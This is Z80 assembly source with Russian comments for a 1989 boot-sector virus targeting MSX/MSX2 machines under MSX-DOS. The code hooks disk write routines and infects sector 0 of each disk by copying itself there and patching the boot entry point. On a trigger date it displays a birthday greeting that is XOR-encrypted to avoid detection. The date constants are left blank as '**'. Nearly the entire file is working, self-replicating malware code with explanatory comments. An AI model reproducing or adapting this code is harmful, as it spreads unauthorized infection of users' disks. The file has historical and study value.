virus.asm
; ┌─────────────────────────────────────────────────────┐
; │ Вирус, поздравляющий с днем рождения │
; │ для машин MSX, MSX2 в ОС MSXDOS │
; │ П.Земцов, Е.Налимов, Новосибирск, июль 1989 г. │
; └─────────────────────────────────────────────────────┘
;
.Z80
.phase 0 ; Для кодирования текстов;
; В памяти программа всегда находится с
; с "круглого" адреса
; Адреса в ПЗУ дисковода. Совпадают на MSX и MSX2
CHPUT equ 408Fh ; Выдача символ в A на экран
DSKRD equ 46BAh ; Чтение секторов.
; Вход: H - число секторов
; L - номер дисковода
; DE - номер сектора
; Выход: считанные сектора в памяти,
; по адресу, записанному в StDMA
DSKWR equ 4720h ; Запись секторов, интерфейс совпадает с
; интерфейсом DSKRD
DateIn equ 553Ch ; Выдает в HL дату: D = месяц, E = день
;
BootPage equ 0C000h ; По адресу Bootpage загружается половина
; нулевого сектора диска в момент рестар﹣
StEntry equ 001Fh ; та по адресу Bootpage + StEntry попада﹣
; ет управление после загрузки нулевого
; сектора
; Адреса системных ячеек DOS
StDMA equ 0F23Dh ; Адрес данных для подпрограмм дискового
; обмена
StDrive equ 0F2E1h ; Номер текущего дисковода
HIMEM equ 0F34Bh ; Здесь в момент загрузки системы записан
; адрес свободной памяти: вся память по
; адресам, меньшим записанного здесь, сво﹣
; бодна
BUFFER equ 0F34Dh ; Адрес одного из буферов ДОСа; длина бу﹣
; фера 512 байт (длина одного сектора)
Begin equ 0F351h ; В момент загрузки системы указывает на
; адрес загрузки 0 сектора; После загруз﹣
; ки его сюда половина его (байты от
; (Begin) до (Begin)+0FFh) переписывается
; по адресу Bootpage
SETROM equ 0F368h ; Признак нахождения в DOS или в BASIC:
; в BASIC содержит 0C3h (команду RET)
; Адреса в области ловушек
Hook equ 0F26Dh ; Ловушка на записи FAT
Hook2 equ 0FDC7h ; Ловушка на INITPAT
Hook2Place equ 0FF11h ; Место для Hook2
; Константы
.RET equ 0C9h
month equ ** ; День, в который срабатывает вирус
day equ **
; Часть, работающая в момент загрузки системы.
; "Назначение": захватить 256 байт памяти для размещения вируса, перепи﹣
; сать туда весь вирус, подключить ловушки Hook и Hook2 и вернуться.
; Если дата равна дате срабатывания, вызвать "полезный" эффект.
VBeg:
push af
push de
push hl
ld de,Rettable-VBeg
add hl,de
ld de,BootPage+StEntry
ld bc,6
ldir
ld hl,(HIMEM)
ld l,c ; Разместились с границы страницы
dec h ;
ld (HIMEM),hl ; Получили 1 страницу
;
ex de,hl ; Переслать тело ловушки на место
pop hl
push de
inc b
ldir
pop hl ; Установить ловушки
ld l,low HookBody
ld (Hook+1),hl
push hl
ld a,0C3h
ld (Hook),a
ld (Hook2),a
ld l,low Hook2Body
ld de,Hook2Place+1
ld (Hook2+1),de
ld c,Hook2Len
ldir
call DateIn ; Проверить дату
ld hl,month*256+day
xor a
sbc hl,de
pop hl
ld l,low PutMess
jr z,jhl
pop de
pop af
pop hl
jp BootPage+StEntry
; Для вызова нашей подпрограммы в момент загрузки системы необходимо,
; чтобы в байтах StEntry..StEntry+5 0-го сектора был записан код для
; вызова инициализатора вируса. Именно он и называется "Образец". Но
; после завершения инициализации необходимо выполнить и те действия,
; код для которых в незараженном 0-м секторе находится по данным адре﹣
; сам.
; Самый простой способ это сделать - это хранить "старые" 6 байтов и,
; получив управление, переписать их на их законное место, и передать
; затем управление по адресу BootRage+StEntry. Именно этот старый код и
; находится в таблице Rettable - его туда помещает распространяющая ви﹣
; рус часть.
Rettable:
ds 6,0
; Образец (тоже 6 байтов)
push hl
ld hl,(Begin)
inc h
jhl: jp (hl)
; Собственно "текст поздравления." Он хранится в обратном порядке с целью
; оптимизации кода. Текст зашифрован, чтобы случайное прочтение 0-го
; сектора не выдало вирус. Для зашифровки используется операция XOR,
; примененная к байту текста и младшему байту адреса
char MACRO par
db (par) xor low $
endm
char 0
char '!'
char ' '
char 'я'
char 'и'
char 'н'
char 'е'
char 'д'
char 'ж'
char 'о'
char 'р'
char ' '
char 'м'
char 'е'
char 'н'
char 'д'
char ' '
char 'с'
char ' '
char 'у'
char 'ш'
char 'а'
char 'т'
char 'а'
char 'Н'
char ' '
char 'м'
char 'е'
char 'я'
char 'л'
char 'в'
char 'а'
char 'р'
char 'д'
char 'з'
char 'о'
char 'П'
char ' '
char ' '
char 20h+1
char 20h+11
char 'Y'
char 01Bh
char 00Ch
; Собственно тело ловушки - полезная работа + размножение
HookBody:
push ix
push iy
call DateIn
ld hl,month*256+day
xor a
sbc hl,de
jr nz,neq
; Видимый эффект вируса - "выдача поздравления"
PutMess:
ld hl,(Hook+1)
Loop:
dec l
ld a,(hl)
xor l
LoopL: jr z,LoopL
call CHPUT
jr Loop
; "Размножение вируса." С диска считывается 0-й сектор (незараженный),
; в его вторую половину записывается вирус и устраивается переход
; на него в момент загрузки, затем 0-й сектор записывается назад.
neq:
ld hl,(stDMA) ; Сохранить старое значение адреса обмена
push hl ;
ld hl,(Buffer) ; Установить адрес обмена равным адресу
push hl ; буфера DOS
ld (stDMA),hl ;
ld d,a ; Считать 0-й сектор
ld e,a
ld hl,(StDrive)
ld h,1
call DSKRD
ld bc,StEntry
pop hl ; Если сектор уже заражен, то ничего не
add hl,bc ; делать
ld a,(hl)
.8080
cpi (push h)
.z80
jr z,Return
; Модифицировать сектор
ld de,(Hook+1) ; Сохранение старых 6 байтов считанного
ld e,low Rettable ; сектора
ld c,6 ; (байты StEntry..StEntry+5)
push hl
ldir
ex de,hl ; Запись кода для перехода
pop de ; в инициализатор вируса
ld c,6
ldir
ld l,c ; Перепись самого вируса в байты
ld de,(Buffer) ; 100h..1FFh считанного сектора
inc d
inc b
ldir
ld d,c ; Запись 0-го сектора
ld e,c
ld hl,(StDrive)
ld h,1
call DSKWR
Return:
pop hl ; Восстановление старого значения адреса
ld (stDMA),hl ; обмена
pop iy
pop ix
ret
; Отключению ловушек в при переходе в BASIC. Вызывается из подпрограммы
; INITPAT, которая устанавливает для BASIC режим экрана и начертание
; символов. Она вызывается всегда при переходе в BASIC, поэтому это
; удобное место для "перехвата" такого перехода с целью отключения ви﹣
; руса
Hook2Body:
ld a,(SETROM)
cp .RET ; Каждый 5-й байт равен .RET
ret nz
nop
nop
ld a,.RET
ld (HOOK),a
ld a,.RET
ld (HOOK2),a
ret
Hook2Len equ $-Hook2Body
.dephase
END